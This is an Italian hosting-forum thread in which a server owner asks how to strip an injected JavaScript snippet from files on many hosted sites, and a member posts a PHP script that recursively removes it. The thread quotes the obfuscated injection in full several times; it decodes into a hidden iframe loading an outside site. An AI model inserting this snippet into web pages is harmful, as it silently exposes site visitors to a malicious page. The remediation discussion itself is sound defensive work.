Jump to content
Sign in to follow this  
dylan

Come rimuovere stringa malevola da tutti i file online?

Recommended Posts

Buongiorno a tutti.

Ho riscontrato la seguente problematica su gran parte dei siti ospitati sul mio server dedicato: alla fine dei file è stata aggiunta uan scringa javascript che mostra un popup che rimanda a qualche sito malevolo.

 

Ritengo che il problema possa essere nel client FTP utilizzato fino ad ora dove le pass dei siti erano salvata in chiaro (Filezilla) unito ad un paio di malware sul mio PC.

 

Domanda: esiste una utility o un codice per eliminare da tutti i file presenti online (a partire da /var/www/vhosts/ o da / per esempio) la stringa in maniera automatica?

 

la stringa da eliminare è la seguente:

 

<script>
var test = '<45izzf55rza3m4eA AAszrcz=4\'hAt4t5p:/5/A3c4li4Ac5k34-A4zs4AaAz4pe4.54c434oz3m4/Ai54n.zc3gzA4iA4A?4245\'45 3w45iA3d43tz4h4zA=\'zA03p5x3\'A zhAeA4Ai5gA3hz5tz3=A5\'z0zAp5x4\'z s5t5yzzlAAe=5AA\'Av44i5z5sziz44bAzzi5lAi44t5Ay4A:5 hAi4zdzde5nzAA;AA A3AbzzAo4rzd3e4rz:44 znzAo4A5n35ez;54\'z3>A4A<AA3/AAiAfrzza35mAAe3>'.replace(/[Az345]/g,'');
document.write(test);
</script>

 

Suggerimenti? Purtroppo non ho un backup abbastanza recente da utilizzare :(

Share this post


Link to post
Share on other sites

Tutti i client FTP trasmettono i dati in chiaro.. è il protocollo che è fatto così non un problema di filezilla...

Se vuoi maggiore sicurezza devi usare un altro sistema per trasmettere i file.

 

Per fare una modifica globale dovresti scrivere uno script che tramite Regex cerchi e sostituisca tutte le occorrenze... la complessità del lavoro dipende dalla tua conoscenza di scripting e espressioni regolari oltre che dall'uniformità o meno di quello che devi cercare

Share this post


Link to post
Share on other sites

Ecco la versione definitiva dello script.

Ha funzionato bene sul primo sito di test, ora lo provo un po' e vi faccio sapere.

 

<?php

...ulteriormente migliorato... vedi post successivo...

?>

Share this post


Link to post
Share on other sites

Ecco lo script definitivo, può essere ampiamente migliorato impiegando le REGEX corrette...attualmente la procedura rileva alcuni falsi positivi ("sei un TESTardo e ...") ma non influisce sulle funzionalità del sito.

 

ecco lo script:

<?php


/**
* 
* --------------------------------------
* PHP StakanovMalware Removal vers. 1.0
* 
* Script per la rimozione massiva di stringhe (malefiche e non)
* all'interno del vostro sito internet
* 
* --------------------------------------
* 
* Funzionamento:
* Caricare lo script all'interno della root del vs. sito web.
* La funzione remove_a_string() cercherà ricorsivamente i file e cartelle nel vostro spazio web
* 
* - Lo script evita di controllare i file che hanno le estensioni specificate in
* $extensions = array('jpg','gif','png','css','pdf','.sql','.gz','.meta');
* 
* - Lo script cercherà all'interno dei vostri file quello che indicherete nella variabile
*     $stringa_da_cercare = "test";
* 
* TODO: cambiare questa ricerca con il vecchio eregi ed impiegare una REGEX
* 
* - Se il sistema rilava la presenza della stringa indicata, considererà il file "infetto"
* ed effettuerà la correzione indicata in:
*  $contents = str_replace("<script>
var test = '<45izzf55rza3m4eA AAszrcz=4\'hAt4t5p:/5/A3c4li4Ac5k34-A4zs4AaAz4pe4.54c434oz3m4/Ai54n.zc3gzA4iA4A?4245\'45 3w45iA3d43tz4h4zA=\'zA03p5x3\'A zhAeA4Ai5gA3hz5tz3=A5\'z0zAp5x4\'z s5t5yzzlAAe=5AA\'Av44i5z5sziz44bAzzi5lAi44t5Ay4A:5 hAi4zdzde5nzAA;AA A3AbzzAo4rzd3e4rz:44 znzAo4A5n35ez;54\'z3>A4A<AA3/AAiAfrzza35mAAe3>'.replace(/[Az345]/g,'');
document.write(test);
</script>", '', $contents);
* 
* che nel mio caso corregge una iniezione di javascript malevola e massiva :(
* 
* ---
* 
* Il controllo
* if (!eregi("removal.php", $file))
* serve per evitare che lo script uccida se stesso, quindi il nome del file dovrà essere "removal.php"
* 
* L'ho testato e funziona. Non mi firmo perché uso una identità segreta :)
* 
* 
* A presto
* Dylan di Hosting Talk (sono iscritto al forum)
* 
* http://www.hostingtalk.it/forum/server-dedicati/14401-come-rimuovere-stringa-malevola-da-tutti-i-file-online.html#post124455 
* 
* 
*/

session_start();
function remove_a_string($directory = '')
{
   if ($directory == '')
   $directory = dirname(__FILE__);

   $directory = $directory . '/';    

   if ($handle = @opendir($directory))
   {
       while ($file = @readdir($handle))
       {
           if (is_dir("{$directory}/{$file}"))
           {
               if ($file != "." & $file != "..") $dirs[] = $directory.$file;
           } else {

               // non salviamo robaccia...
               $estensione_del_file = @explode(".", $file);
               $estensione = $estensione_del_file[count($estensione_del_file) - 1];
               $estensione = strtolower($estensione);

               $extensions = array('jpg','gif','png','css','pdf','.sql','.gz','.meta');

               if (!in_array($estensione, $extensions))
               {
                   if ($file != "." & $file != "..") $files[] = $directory.$file;
               }    



           }
       }
   }

   @sort($files);
   @reset($files);
   @sort($dirs);
   @reset($dirs);

   for ($f=0; count($dirs) > $f; $f++)
   {
       $nuova_directory = $dirs[$f];
       //sleep(1); // giusto per farlo riposare un po...eheh...
       echo '<strong>Controllo: '.$nuova_directory.'</strong><br />';
       remove_a_string($nuova_directory);    
   }

   for ($g=0; count($files) > $g; $g++)
   {


       $file = $files[$g];


       if (!eregi("removal.php", $file))
       {
       $contents = @file_get_contents($file);
       $stringa_da_cercare = "test";

       if ($contents != '')
       {
           echo '- controllo '. $file . '<br />';

           if (eregi($stringa_da_cercare, $contents))
           {

               echo '<span style="color: red">'. $file . '</span> è infettato!<br />';
               $counter = $counter + 1;

               // cura!
               $contents = str_replace("<script>
var test = '<45izzf55rza3m4eA AAszrcz=4\'hAt4t5p:/5/A3c4li4Ac5k34-A4zs4AaAz4pe4.54c434oz3m4/Ai54n.zc3gzA4iA4A?4245\'45 3w45iA3d43tz4h4zA=\'zA03p5x3\'A zhAeA4Ai5gA3hz5tz3=A5\'z0zAp5x4\'z s5t5yzzlAAe=5AA\'Av44i5z5sziz44bAzzi5lAi44t5Ay4A:5 hAi4zdzde5nzAA;AA A3AbzzAo4rzd3e4rz:44 znzAo4A5n35ez;54\'z3>A4A<AA3/AAiAfrzza35mAAe3>'.replace(/[Az345]/g,'');
document.write(test);
</script>", '', $contents);

               $fp = fopen($file, 'w');
               fwrite($fp, $contents);
               fclose($fp);

               echo '<span style="color: green;">CURATO!</span><br />';

               //echo '<textarea style="width: 600px; height: 120px; clear: both; display: block;">'.htmlentities($contents).'</textarea>';



           } 
       }



       $recounter = @$_SESSION['recounter'] + 1;
       @$_SESSION['recounter'] = $recounter;

       } // evitiamo di uccidere l'antivirus :)


   }

   if ($counter > 0){
       echo '<hr /><br /><br />';
       echo '<strong>Sono presenti '. intval($counter) . ' file infetti...magnifico!</strong><br /><br /><br />';
       $counter = 0;
   } else {
       echo '<br />';
   }
}

remove_a_string();

echo @$_SESSION['recounter'] . ' file scansionati!';
@$_SESSION['recounter'] = 0;

?>

Share this post


Link to post
Share on other sites

Mi rimane solo un punto da chiarire, nel ringraziarvi fino ad ora, vi chiederei di chiarirmelo ulteriormente... se lancio questo script dalla / del server...non funzionerà giusto? nel senso che se lo posizione in root e poi lo lancio con un crontab, curerà i siti? devo fare altro?

 

grazie mille

Share this post


Link to post
Share on other sites

E meno male che non funziona.

Se inizia a scansionarti dalla radice me lo dici poi quando finisce.... non so quantificare ma penso che ci metterebbe parecchio.

 

Di solito questo cose si fanno in bash, comunque se conosci php dovresti almeno fare lo script in versione CLI dargli la directory di partenza in www (o come è impostato il tuo server) e lanciarlo da root in ssh (o mettendolo in crontab).

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×